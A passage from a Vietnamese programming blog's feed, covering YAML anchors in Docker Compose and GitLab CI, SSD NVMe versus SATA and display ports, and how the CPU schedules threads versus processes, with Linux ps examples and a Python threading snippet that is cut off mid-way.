<span class="s1">'d2'</span><span class="p">:</span> <span class="p">{</span><span class="s1">'name'</span><span class="p">:</span> <span class="s1">'PyMi'</span><span class="p">,</span> <span class="s1">'color'</span><span class="p">:</span> <span class="s1">'WhitePink'</span><span class="p">},</span>
<span class="s1">'d3'</span><span class="p">:</span> <span class="p">{</span><span class="s1">'name'</span><span class="p">:</span> <span class="s1">'FAMILUG'</span><span class="p">,</span> <span class="s1">'color'</span><span class="p">:</span> <span class="s1">'WhitePink'</span><span class="p">,</span> <span class="s1">'age'</span><span class="p">:</span> <span class="mi">18</span><span class="p">}}</span>
</code></pre></div>
<p>đáng chú ý rằng khác với Python dict update, value sau sẽ đè lên value trước nếu cùng key, thì YAML ngược lại, giá trị xuất hiện trước sẽ được dùng: name được lấy ở phần tử d1 FAMILUG chứ không phải từ d2.</p>
<h3>Dùng trong thực tế</h3>
<p><a href="https://docs.docker.com/compose/compose-file/10-fragments/">dockercompose file</a>:</p>
<div class="highlight"><pre><span></span><code>volumes:
db-data: <span class="p">&</span>default-volume
driver: default
metrics: *default-volume
services:
first:
image: my-image:latest
environment: <span class="p">&</span>env
FOO: BAR
ZOT: QUIX
second:
image: another-image:latest
environment:
<<: *env
YET_ANOTHER: VARIABLE
</code></pre></div>
<p><a href="https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#anchors">GitLabCI</a>:</p>
<div class="highlight"><pre><span></span><code><span class="nt">.default_scripts</span><span class="p">:</span><span class="w"> </span><span class="nl">&default_scripts</span><span class="w"></span>
<span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">./default-script1.sh</span><span class="w"></span>
<span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">./default-script2.sh</span><span class="w"></span>
<span class="nt">job1</span><span class="p">:</span><span class="w"></span>
<span class="nt">script</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="nv">*default_scripts</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">./job-script.sh</span><span class="w"></span>
</code></pre></div>
<p>Helm <a href="https://helm.sh/docs/chart_template_guide/yaml_techniques/">https://helm.sh/docs/chart_template_guide/yaml_techniques/</a></p>
<p>K8S kustomize <a href="https://github.com/kubernetes-sigs/kustomize/issues/3675">https://github.com/kubernetes-sigs/kustomize/issues/3675</a></p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://familug.github.io/tham-hoa-pyyaml.html">Thảm họa PyYAML</a></li>
<li><a href="http://yaml.org/spec/1.2.0/">http://yaml.org/spec/1.2.0/</a></li>
<li><a href="https://www.json.org/json-en.html">https://www.json.org/json-en.html</a></li>
<li><a href="https://yaml.readthedocs.io/en/latest/basicuse.html">https://yaml.readthedocs.io/en/latest/basicuse.html</a></li>
</ul>
<h2>Kết luận</h2>
<p>YAML, không phải MarkUp Language, càng không phải là JSON.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>SSD NVMe vs SATA, DisplayPort vs HDMI, USB downstream port2023-07-12T00:00:00+07:002023-07-12T00:00:00+07:00hvntag:familug.github.io,2023-07-12:/ssd-nvme-vs-sata-displayport-vs-hdmi-usb-downstream-port.html<p><center>
<img alt="USB Downstream - DisplayPort" src="https://familug.github.io/images/dp_usbdownstream.jpg"></p>
<p>^---- USB Downstream | DisplayPort ----^
</center></p>
<h2>SSD NVMe khác gì SSD SATA</h2>
<p>Solid-state Drive (SSD) là thế hệ ổ cứng mới, không sử dụng đĩa quay như Hard Disk Drive (HDD),
SSD tốc độ nhanh gấp 5 tới vài trăm lần so với HDD.</p>
<h3>SATA là gì</h3>
<p>Serial ATA (SATA) (~2004) là công …</p><p><center>
<img alt="USB Downstream - DisplayPort" src="https://familug.github.io/images/dp_usbdownstream.jpg"></p>
<p>^---- USB Downstream | DisplayPort ----^
</center></p>
<h2>SSD NVMe khác gì SSD SATA</h2>
<p>Solid-state Drive (SSD) là thế hệ ổ cứng mới, không sử dụng đĩa quay như Hard Disk Drive (HDD),
SSD tốc độ nhanh gấp 5 tới vài trăm lần so với HDD.</p>
<h3>SATA là gì</h3>
<p>Serial ATA (SATA) (~2004) là công nghệ sử dụng AHCI driver giao tiếp với ổ cứng HDD, công nghệ này cũng được
dùng với SSD giúp cắm được vào các máy tính đời cũ, nhưng cản trở SSD bung mình bứt phá.</p>
<p>Các ổ cứng SATA <strong>THƯỜNG</strong> có hình chữ nhật giống bao thuốc lá.</p>
<h3>NVMe là gì</h3>
<p>Non-Volatile Memory Express (NVMe) (~2011) driver được thiết kế cho SSD, kết hợp sử dụng khe cắm PCIe, cho tốc độ nhanh hơn SATA có thể lên tới 100 lần.</p>
<p>Các ổ cứng NVMe <strong>THƯỜNG</strong> dài thon như 2 ngón tay, hay phong kẹo cao su.</p>
<div class="highlight"><pre><span></span><code>$ mount <span class="p">|</span> grep <span class="s1">' on / '</span>
/dev/nvme0n1p1 on / <span class="nb">type</span> ext4 <span class="o">(</span>rw,relatime,errors<span class="o">=</span>remount-ro<span class="o">)</span>
</code></pre></div>
<h2>M.2 2280 vs 2.5 inch</h2>
<p>NVMe và SATA là các chuẩn giao tiếp, không phải hình dáng của ổ cứng. Hình dáng (form factor) có 2 loại phổ biến:</p>
<ul>
<li>2.5 inch: hình dáng truyền thống của ổ HDD cho laptop, sau đó là SSD sử dụng SATA.</li>
<li>M.2 2280: (đọc là m dot two) 22 80: rộng 22mm dài 80mm, là kiểu dáng phổ biến của SDD sử dụng NVMe.</li>
</ul>
<p>Giao thức có ảnh hưởng tới hình dáng, nhưng không quyết định. Vẫn có SSD có dáng M.2 dùng SATA mặc dù ngày càng ít.
M.2 SATA sẽ có 2 "khe" thay vì M.2 NVMe chỉ có 1 "khe", xem hình tại <a href="https://www.kingston.com/en/blog/pc-performance/two-types-m2-vs-ssd">kingston</a> hay các trang web bán phần cứng máy tính.</p>
<h2>PCIe 3x4</h2>
<p>PCI Express (Peripheral Component Interconnect Express) PCIe, là giao diện phần cứng để lắp các thiết bị máy tính (VGA, SSD, ...) ngày nay.</p>
<ul>
<li>PCIe thế hệ 3 gọi là PCIe 3, phiên bản 3.0 có từ 2010 và được sản xuất phổ biến nhất tại 2023, với giá rẻ nhất.</li>
<li>PCIe 4 đã xuất hiện với các thiết bị tầm trung.</li>
<li>PCIe 5 còn hiếm.</li>
<li>PCIe 6 đã có ở đâu đó và 7 đang được lên kế hoạch.</li>
</ul>
<p>PCIe có thể chứa nhiều lane cùng gửi nhận tín hiệu cùng lúc làm tăng tốc độ, x4 là 4 lane, x16 là 16 lane về lý thuyết nhanh hơn x4 4 lần.
M.2 có thể sử dụng tối đa 4 lane (x4).</p>
<p><a href="https://en.wikipedia.org/wiki/PCI_Express#History_and_revisions">https://en.wikipedia.org/wiki/PCI_Express#History_and_revisions</a></p>
<h2>Đọc thông số 1 ổ cứng SSD</h2>
<p>Tới đây đã có thể giải mã thông số khi mua ổ cứng SSD, ví dụ:
<code>XPG SPECTRIX PCIe Gen3x4 M.2 2280 Solid State Drive</code>:</p>
<ul>
<li>PCIe 3 với 4 lane</li>
<li>M.2 form rộng 22mm dài 80mm</li>
</ul>
<h2>DisplayPort (DP) vs HDMI</h2>
<p>Các cổng/dây cắm truyền hình ảnh từ máy tính qua màn hình:</p>
<div class="highlight"><pre><span></span><code><span class="n">VGA</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">DVI</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">HDMI</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">DP</span><span class="w"></span>
</code></pre></div>
<p>DisplayPort (DP) là công nghệ mới hơn HDMI, với các chỉ số vượt trội. Ngày nay hầu hết các màn hình đều có kèm dây DP nhưng người dùng vẫn quen dùng dây HDMI. DisplayPort cũng có thể sử dụng qua khe cắm USB-C (VD: MacBook).</p>
<h3>USB Downstream port sau màn hình máy tính</h3>
<p>USB Downstream là cổng cắm sau các màn hình ngày nay, có hình gần vuông, để với đầu kia cắm vào 1 cổng USB trên máy tính, cho phép sử dụng các cổng USB trên màn hình thay vì cắm trực tiếp vào máy tính, hoạt động như 1 USB Hub.</p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://www.kingston.com/en/blog/pc-performance/nvme-vs-sata">https://www.kingston.com/en/blog/pc-performance/nvme-vs-sata</a></li>
<li><a href="https://www.kingston.com/en/blog/pc-performance/pcie-gen-4-explained">https://www.kingston.com/en/blog/pc-performance/pcie-gen-4-explained</a></li>
<li><a href="https://hackaday.com/2023/07/11/displayport-a-better-video-interface/">https://hackaday.com/2023/07/11/displayport-a-better-video-interface/</a></li>
<li><a href="https://downloads.dell.com/manuals/all-products/esuprt_electronics_accessories/esuprt_electronics_accessories_monitors/dell-p2319h-monitor_user%27s-guide_en-us.pdf">https://downloads.dell.com/manuals/all-products/esuprt_electronics_accessories/esuprt_electronics_accessories_monitors/dell-p2319h-monitor_user%27s-guide_en-us.pdf</a></li>
<li><a href="https://superuser.com/questions/856297/what-do-the-upstream-downstream-usb-ports-on-a-monitor-do#856348">https://superuser.com/questions/856297/what-do-the-upstream-downstream-usb-ports-on-a-monitor-do#856348</a></li>
</ul>
<h2>Kết luận</h2>
<p>Khi phần mềm thay đổi mỗi 2 năm thì phần cứng cũng không thua kém gì, không update, sẽ bị dated.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>CPU chạy thread hay process?2023-06-26T00:00:00+07:002023-06-26T00:00:00+07:00hvntag:familug.github.io,2023-06-26:/cpu-chay-thread-hay-process.html<p>Hay những câu hỏi liên quan:</p>
<ul>
<li>Thread và process khác gì nhau?</li>
<li>1 process chạy multithreading trên mấy CPU?</li>
<li>Vì sao Java, Rust không nhắc tới multiprocessing?</li>
<li>Khi chạy CPU bound, dùng multi-process hay multi-threaded?</li>
</ul>
<p>bài này sẽ làm cho ra nhẽ.</p>
<p>Việc khó khăn nhất khi trả lời các …</p><p>Hay những câu hỏi liên quan:</p>
<ul>
<li>Thread và process khác gì nhau?</li>
<li>1 process chạy multithreading trên mấy CPU?</li>
<li>Vì sao Java, Rust không nhắc tới multiprocessing?</li>
<li>Khi chạy CPU bound, dùng multi-process hay multi-threaded?</li>
</ul>
<p>bài này sẽ làm cho ra nhẽ.</p>
<p>Việc khó khăn nhất khi trả lời các câu hỏi này là tìm được các tài liệu có tính "chuẩn mực"/căn cứ, không phải mấy trang tutorial, wikipedia hay hỏi đáp trên mạng.</p>
<h2>Process là gì, thread là gì</h2>
<p>Người dùng máy tính thường biết đến khái niệm <code>process</code> trước, nó hiển thị mặc định trên các chương trình process manager như <code>top</code>, hay <code>ps</code>, hay <code>Monitor</code> trên Ubuntu, hay cả <code>Task manager</code> trên Windows.
Mỗi process được gán cho 1 số ProcessID (PID), dùng lệnh <code>kill -9 PID</code> để tắt chương trình bị "treo".
Khi chạy 1 chương trình, hệ điều hành sẽ tạo ra 1 (hay vài) process.</p>
<p>Cho tới khi học lập trình Python, thấy mỗi chương trình chỉ chạy code tuần tự từ trên xuống, nhận ra rằng mỗi 1 process chỉ chạy 1 "luồng" (thread), học thêm thư viện <code>threading</code>, biết tạo 2 3 4 thread chạy "cùng lúc" trong 1 process.</p>
<p>Ở đây dùng khái niệm process và thread của hệ điều hành (OS), một số ngôn ngữ lập trình có khái niệm process của riêng mình, VD: Erlang process không giống như OS process.</p>
<p>Trên hệ điều hành dùng Linux như Ubuntu, gõ <code>man 7 pthreads</code>,
<code>pthread</code> hay POSIX thread, là "OS thread" trên Linux:</p>
<blockquote>
<p>A single process can contain multiple threads, all of
which are executing the same program. These threads share the
same global memory (data and heap segments), but each thread has
its own stack (automatic variables).</p>
</blockquote>
<p>Các thread trong 1 process dùng chung dữ liệu (share data) và file description, nhưng có stack riêng.</p>
<p>Theo <a href="https://man.openbsd.org/pthreads.3"><code>man 3 pthreads</code> trên OpenBSD</a>:</p>
<blockquote>
<p>A thread is a flow of control within a process. Each thread represents a
minimal amount of state: normally just the CPU state and a signal mask. All
other process state (such as memory, file descriptors) is shared among all of
the threads in the process.</p>
<p>In OpenBSD, threads use a 1-to-1 implementation, where every thread is
independently scheduled by the kernel.</p>
</blockquote>
<p>Theo <a href="https://man.freebsd.org/cgi/man.cgi?query=pthread"><code>man 3 pthread</code> trên FreeBSD</a></p>
<blockquote>
<p>POSIX threads are a set of functions that support applications with re-
quirements for multiple flows of control, called threads, within a process.
Multithreading is used to improve the performance of a program.</p>
</blockquote>
<p>Hai BSD OS đều định nghĩa thread là một <code>flow of control</code> trong 1 process.</p>
<p><a href="https://learn.microsoft.com/en-us/windows/win32/procthread/processes-and-threads">Theo Microsoft</a>, nhà sản xuất hệ điều hành nhiều người dùng nhất trên thế giới định nghĩa: 1 process đơn giản là 1 chương trình đang chạy.
Hay <a href="https://learn.microsoft.com/en-gb/windows/win32/procthread/about-processes-and-threads">chi tiết hơn</a>: <strong>một process cung cấp các tài nguyên để chạy 1 chương trình (code, file description, memory, ... và ít nhất 1 thread)</strong>, một process bắt đầu với 1 thread, thường được gọi là primary/main thread.</p>
<p>Còn <strong>thread là đơn vị mà được hệ điều hành cung cấp cho thời gian dùng CPU</strong>.</p>
<h3>So sánh process và thread</h3>
<p>Khái niệm process có trước, mãi sau này mới có khái niệm (nhiều) thread.
Mặc dù khi có 1 process thì nó luôn luôn chạy 1 thread.
Trong 1 process có thể có nhiều thread, trong 1 thread không thể có nhiều process.</p>
<p>Nhưng thực ra phần lớn người ta muốn hỏi:</p>
<h3>So sánh multi thread và multi process</h3>
<p>Multi thread giống như multi process, ngoại trừ 1 việc: các thread share chung memory còn process thì không.</p>
<h2>Multitasking - đa nhiệm</h2>
<p>Máy tính ngày nay CPU 4 lõi, 8 lõi (core)... luôn chạy nhiều chương trình cùng lúc. Máy tính ngày xưa khi chỉ có 1 CPU 1 core cũng vậy, chạy được nhiều chương trình "cùng lúc" nhờ CPU chuyển liên tục chạy các chương trình khác nhau, việc chuyển đổi rất nhanh này khiến người dùng có cảm giác là chạy cùng lúc. Ví dụ chạy 4 process A B C D:</p>
<div class="highlight"><pre><span></span><code>A B C D A B D C B A C D...
</code></pre></div>
<p>chuyện này không thay đổi kể cả với máy tính nhiều core do số chương trình chạy luôn lớn hơn số core nhiều lần. Ví dụ:</p>
<div class="highlight"><pre><span></span><code>$ grep -c processor /proc/cpuinfo
<span class="m">4</span>
$ ps -ef <span class="p">|</span> wc -l
<span class="m">287</span>
</code></pre></div>
<p>PS: bạn đọc sau khi đọc xong bài và tham khảo <a href="https://familug.github.io/ps-va-top-hien-thi-so-thread.html">xem thread bằng top</a> sẽ chạy <code>ps -eLf</code></p>
<h3>CPU Scheduler</h3>
<p>Việc sắp xếp các chương trình chạy thế nào (dùng CPU thế nào) do một bộ phận của kernel có tên "scheduler" thực hiện.
Đọc thêm về Linux CPU scheduler tại <a href="https://opensource.com/article/19/2/fair-scheduling-linux">https://opensource.com/article/19/2/fair-scheduling-linux</a>.</p>
<h2>CPU chạy thread hay process?</h2>
<p>Tham khảo tại <code>man 7 sched</code></p>
<div class="highlight"><pre><span></span><code>$ whatis sched
sched <span class="o">(</span><span class="m">7</span><span class="o">)</span> - overview of CPU scheduling
</code></pre></div>
<p>Trong tài liệu viết:</p>
<div class="highlight"><pre><span></span><code><span class="nv">Scheduling</span><span class="w"> </span><span class="nv">policies</span><span class="w"></span>
<span class="w"> </span><span class="nv">The</span><span class="w"> </span><span class="nv">scheduler</span><span class="w"> </span><span class="nv">is</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">kernel</span><span class="w"> </span><span class="nv">component</span><span class="w"> </span><span class="nv">that</span><span class="w"> </span><span class="nv">decides</span><span class="w"> </span><span class="nv">which</span><span class="w"> </span><span class="nv">runnable</span><span class="w"> </span><span class="nv">thread</span><span class="w"></span>
<span class="w"> </span><span class="nv">will</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">executed</span><span class="w"> </span><span class="nv">by</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">CPU</span><span class="w"> </span><span class="k">next</span>.<span class="w"> </span><span class="nv">Each</span><span class="w"> </span><span class="nv">thread</span><span class="w"> </span><span class="nv">has</span><span class="w"> </span><span class="nv">an</span><span class="w"> </span><span class="nv">associated</span><span class="w"></span>
<span class="w"> </span><span class="nv">scheduling</span><span class="w"> </span><span class="nv">policy</span><span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">a</span><span class="w"> </span><span class="nv">static</span><span class="w"> </span><span class="nv">scheduling</span><span class="w"> </span><span class="nv">priority</span>,<span class="w"> </span><span class="nv">sched_priority</span>.<span class="w"> </span><span class="nv">The</span><span class="w"></span>
<span class="w"> </span><span class="nv">scheduler</span><span class="w"> </span><span class="nv">makes</span><span class="w"> </span><span class="nv">its</span><span class="w"> </span><span class="nv">decisions</span><span class="w"> </span><span class="nv">based</span><span class="w"> </span><span class="nv">on</span><span class="w"> </span><span class="nv">knowledge</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">scheduling</span><span class="w"></span>
<span class="w"> </span><span class="nv">policy</span><span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">static</span><span class="w"> </span><span class="nv">priority</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">all</span><span class="w"> </span><span class="nv">threads</span><span class="w"> </span><span class="nv">on</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">sys</span>‐<span class="w"> </span><span class="nv">tem</span>.<span class="w"></span>
...<span class="w"></span>
<span class="nv">API</span><span class="w"> </span><span class="nv">summary</span><span class="w"></span>
<span class="w"> </span><span class="nv">Linux</span><span class="w"> </span><span class="nv">provides</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">following</span><span class="w"> </span><span class="nv">system</span><span class="w"> </span><span class="nv">calls</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">controlling</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">CPU</span><span class="w"></span>
<span class="w"> </span><span class="nv">scheduling</span><span class="w"> </span><span class="nv">behavior</span>,<span class="w"> </span><span class="nv">policy</span>,<span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">priority</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">processes</span><span class="w"> </span><span class="ss">(</span><span class="nv">or</span>,<span class="w"> </span><span class="nv">more</span><span class="w"></span>
<span class="w"> </span><span class="nv">precisely</span>,<span class="w"> </span><span class="nv">threads</span><span class="ss">)</span>.<span class="w"></span>
</code></pre></div>
<p>Linux kernel scheduler sắp xếp lịch chạy trên CPU cho các thread (hay gọi là task).
Trong <code>man 1 taskset</code> viết:</p>
<div class="highlight"><pre><span></span><code><span class="o">-</span><span class="nv">a</span>,<span class="w"> </span><span class="o">--</span><span class="nv">all</span><span class="o">-</span><span class="nv">tasks</span><span class="w"></span>
<span class="w"> </span><span class="nv">Set</span><span class="w"> </span><span class="nv">or</span><span class="w"> </span><span class="nv">retrieve</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">CPU</span><span class="w"> </span><span class="nv">affinity</span><span class="w"> </span><span class="nv">of</span><span class="w"> </span><span class="nv">all</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">tasks</span><span class="w"> </span><span class="ss">(</span><span class="nv">threads</span><span class="ss">)</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">a</span><span class="w"> </span><span class="nv">given</span><span class="w"> </span><span class="nv">PID</span>.<span class="w"></span>
</code></pre></div>
<h2>Một process chạy multithreading trên mấy CPU core?</h2>
<p>Với 10 process, mỗi process chỉ có 1 thread, sẽ là 10 thread cần chạy, kernel sẽ sched (xếp lịch) việc chạy 10 task này cho N CPU.
Tương tự 1 process, chạy 10 thread, kernel cũng sẽ sched việc chạy 10 task này cho N CPU (N > 0).</p>
<p>What?!</p>
<h3>Python multi-threaded vs multi-process</h3>
<p>Dòng thứ 2 trong tài liệu thư viện <a href="https://docs.python.org/3/library/threading.html#module-threading"><code>threading</code> của Python</a> viết</p>
<blockquote>
<p>CPython implementation detail: In CPython, due to the Global Interpreter
Lock, only one thread can execute Python code at once (even though certain
performance-oriented libraries might overcome this limitation). If
you want your application to make better use of the computational resources
of multi-core machines, you are advised to use multiprocessing or
concurrent.futures.ProcessPoolExecutor. However, threading is still an
appropriate model if you want to run multiple I/O-bound tasks simultaneously.</p>
</blockquote>
<p>Python là một trong số ít ngôn ngữ mà nhiều thread không chạy được trên nhiều CPU core cùng lúc do giới hạn của <a href="https://docs.python.org/3/glossary.html#term-global-interpreter-lock">Global Interpreter Lock - GIL</a> trong CPython/PyPy.
Giới hạn này <strong>KHÔNG</strong> tồn tại trong các bản Python khác như Jython (trên JVM) và IronPython (trên .NET).
Vì GIL, CPython chỉ có thể <strong>chạy trên CPU</strong> 1 thread 1 lúc, nên muốn chạy nhiều thread/process trên nhiều CPU core cùng lúc, Python có thư viện <a href="https://docs.python.org/3/library/multiprocessing.html">multiprocessing</a>.</p>
<blockquote>
<p>multiprocessing is a package that supports spawning processes using an API
similar to the threading module. The multiprocessing package offers both
local and remote concurrency, effectively side-stepping the Global
Interpreter Lock by using subprocesses instead of threads. Due to this, the
multiprocessing module allows the programmer to fully leverage multiple
processors on a given machine.</p>
</blockquote>
<p>Tránh nhầm lẫn rằng python <code>threading</code> thực sự chạy các thread cùng lúc trên nhiều CPU core, việc các thread có vẻ chạy cùng lúc trong Python chỉ là multitasking, chạy chuyển đổi giữa các thread.</p>
<h3>Java multithreading</h3>
<p>Java hỗ trợ multithreading với các thread chạy cùng lúc như mong đợi, và nhiều thread này hoàn toàn có thể được chạy trên nhiều CPU core.</p>
<p>Vì multithreading chạy rất ngon lành, nên ít có lý do gì để sinh ra khái niệm "multiprocessing" như Python.
Ngoài ra, bật 1 Java process là chạy 1 máy ảo JVM nặng nề, khởi động chậm (so với bật 1 process CPython interpreter 0.1s 8MB RAM) nên việc này rất ít thấy trong thực tế.</p>
<p>PS: Python <code>threading</code> API <a href="https://docs.python.org/2/library/threading.html">dựa trên API của Java</a></p>
<h3>Rust multithreading</h3>
<p>Tương tự Java, không tồn tại thư viện "multiprocessing" trong Rust.</p>
<blockquote>
<p>In most current operating systems, an executed program’s code is run in a
process, and the operating system will manage multiple processes at once.
Within a program, you can also have independent parts that run
simultaneously. The features that run these independent parts are called
threads. For example, a web server could have multiple threads so that it
could respond to more than one request at the same time.</p>
</blockquote>
<p><a href="https://doc.rust-lang.org/book/ch16-01-threads.html">https://doc.rust-lang.org/book/ch16-01-threads.html</a></p>
<h3>Go multithreading, multiprocessing</h3>
<p>Go không dùng khái niệm process hay thread của hệ điều hành mà dùng khái niệm Goroutine, tương tự thread, nhưng do Go runtime quản lý thay vì OS kernel.</p>
<blockquote>
<p>A goroutine is a lightweight thread managed by the Go runtime.
Goroutines run in the same address space, so access to shared memory must be synchronized.</p>
</blockquote>
<p><a href="https://go.dev/tour/concurrency/1">https://go.dev/tour/concurrency/1</a></p>
<p>Các goroutine cũng có thể được nhiều CPU core chạy cùng lúc</p>
<blockquote>
<p>GOMAXPROCS sets the maximum number of CPUs that can be executing simultaneously and returns the previous setting.</p>
</blockquote>
<h2>Khi chạy CPU bound, dùng multi process hay multi thread?</h2>
<ul>
<li>CPU bound là chương trình dành phần lớn thời gian dùng CPU xử lý, khác với</li>
<li>IO bound là chương trình dành phần lớn thời gian đọc ghi file/network.</li>
</ul>
<p>Câu hỏi này có thể là trap, cần hỏi lại dùng ngôn ngữ gì, trừ khi hỏi cụ thể tới Python thì trả lời dùng multiprocessing.
Trong các ngôn ngữ khác như Rust/Java, multithreading là câu trả lời, vì không có thư viện multi-process mà chạy.
Hay Go chỉ có goroutine chứ không có lựa chọn khác.</p>
<p>Khi nói chung chung, multi-process có ưu điểm là sự tách biệt giữa các process, một process bị crash sẽ không ảnh hưởng tới process khác, nhược điểm là việc giao tiếp giữa các process để chia sẻ data sẽ phức tạp.
Nhiều chương trình dùng mô hình này như:</p>
<ul>
<li>postgresql</li>
<li>nginx master-workers</li>
</ul>
<p>Multi-threaded giúp dễ dàng truy cập bộ nhớ chung, nhưng có thể gặp trường hợp 1 thread crash khiến cả chương trình tắt ngóm, nhược điểm là dễ xảy ra race-condition: N thread tranh nhau truy cập cùng 1 tài nguyên.</p>
<p>Không có câu trả lời dễ dàng, vì đây là trường hợp của PostgreSQL, sau vài chục năm chạy multi-process, nay đang khám phá option multi-threaded.</p>
<p><a href="https://www.postgresql.org/message-id/flat/31cc6df9-53fe-3cd9-af5b-ac0d801163f4%40iki.fi">Let's make PostgreSQL multi-threaded</a></p>
<h3>Tham khảo</h3>
<ul>
<li>OSTEP: <a href="https://pages.cs.wisc.edu/~remzi/OSTEP/threads-intro.pdf">https://pages.cs.wisc.edu/~remzi/OSTEP/threads-intro.pdf</a></li>
<li><a href="https://www.postgresql.org/message-id/flat/31cc6df9-53fe-3cd9-af5b-ac0d801163f4%40iki.fi">https://www.postgresql.org/message-id/flat/31cc6df9-53fe-3cd9-af5b-ac0d801163f4%40iki.fi</a></li>
<li><a href="https://pages.cs.wisc.edu/~remzi/OSTEP/threads-intro.pdf">https://pages.cs.wisc.edu/~remzi/OSTEP/threads-intro.pdf</a></li>
<li><a href="https://opensource.com/article/19/2/fair-scheduling-linux">https://opensource.com/article/19/2/fair-scheduling-linux</a></li>
<li><a href="https://man.openbsd.org/pthreads.3">https://man.openbsd.org/pthreads.3</a></li>
<li><a href="https://man.freebsd.org/cgi/man.cgi?query=pthread">https://man.freebsd.org/cgi/man.cgi?query=pthread</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/procthread/processes-and-threads">https://learn.microsoft.com/en-us/windows/win32/procthread/processes-and-threads</a></li>
<li><a href="https://learn.microsoft.com/en-gb/windows/win32/procthread/about-processes-and-threads">https://learn.microsoft.com/en-gb/windows/win32/procthread/about-processes-and-threads</a></li>
<li><a href="https://go.dev/tour/concurrency/1">https://go.dev/tour/concurrency/1</a></li>
<li><a href="https://docs.python.org/3/library/multiprocessing.html">https://docs.python.org/3/library/multiprocessing.html</a></li>
<li><a href="https://docs.python.org/3/glossary.html#term-global-interpreter-lock">https://docs.python.org/3/glossary.html#term-global-interpreter-lock</a></li>
<li><a href="https://docs.python.org/2/library/threading.html">https://docs.python.org/2/library/threading.html</a></li>
<li><a href="https://doc.rust-lang.org/book/ch16-01-threads.html">https://doc.rust-lang.org/book/ch16-01-threads.html</a></li>
</ul>
<h3>Kết luận</h3>
<p>Thread là đơn vị task được kernel sched chạy trên nhiều CPU, process là 1 chương trình đang chạy.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>ps và top hiển thị số thread2023-06-19T00:00:00+07:002023-06-19T00:00:00+07:00hvntag:familug.github.io,2023-06-19:/ps-va-top-hien-thi-so-thread.html<p>Người dùng Linux hẳn đều biết dùng lệnh <code>ps -ef</code> hay <code>top</code> để xem các "chương trình" đang chạy.
Chương trình trên Linux thường ám chỉ 1 (vài) process đang chạy, mỗi process được gắn số ProcessID (PID).</p>
<p>Một process có thể chạy nhiều OS thread, để xem số lượng …</p><p>Người dùng Linux hẳn đều biết dùng lệnh <code>ps -ef</code> hay <code>top</code> để xem các "chương trình" đang chạy.
Chương trình trên Linux thường ám chỉ 1 (vài) process đang chạy, mỗi process được gắn số ProcessID (PID).</p>
<p>Một process có thể chạy nhiều OS thread, để xem số lượng thread (NLWP) hay thread ID (LWP), thêm option <code>-L</code></p>
<h3>Xem thread với <code>ps</code></h3>
<div class="highlight"><pre><span></span><code>$ ps -efL <span class="p">|</span> grep python3
<span class="c1"># Dòng này được thêm vào cho dễ hiểu</span>
UID PID PPID LWP C NLWP STIME TTY TIME CMD
--------------------------------------------------------------------------------
hvn <span class="m">3818</span> <span class="m">1585</span> <span class="m">3818</span> <span class="m">0</span> <span class="m">2</span> <span class="m">21</span>:28 pts/0 <span class="m">00</span>:00:00 python3 main.py
hvn <span class="m">3818</span> <span class="m">1585</span> <span class="m">3819</span> <span class="m">0</span> <span class="m">2</span> <span class="m">21</span>:28 pts/0 <span class="m">00</span>:00:00 python3 main.py
</code></pre></div>
<p>PID là 3818, 2 thread ID lần lượt là 3818 và 3819.</p>
<p>Code Python3</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="n">Thread</span>
<span class="k">class</span> <span class="nc">MyThread</span><span class="p">(</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"running"</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">MyThread</span><span class="p">()</span>
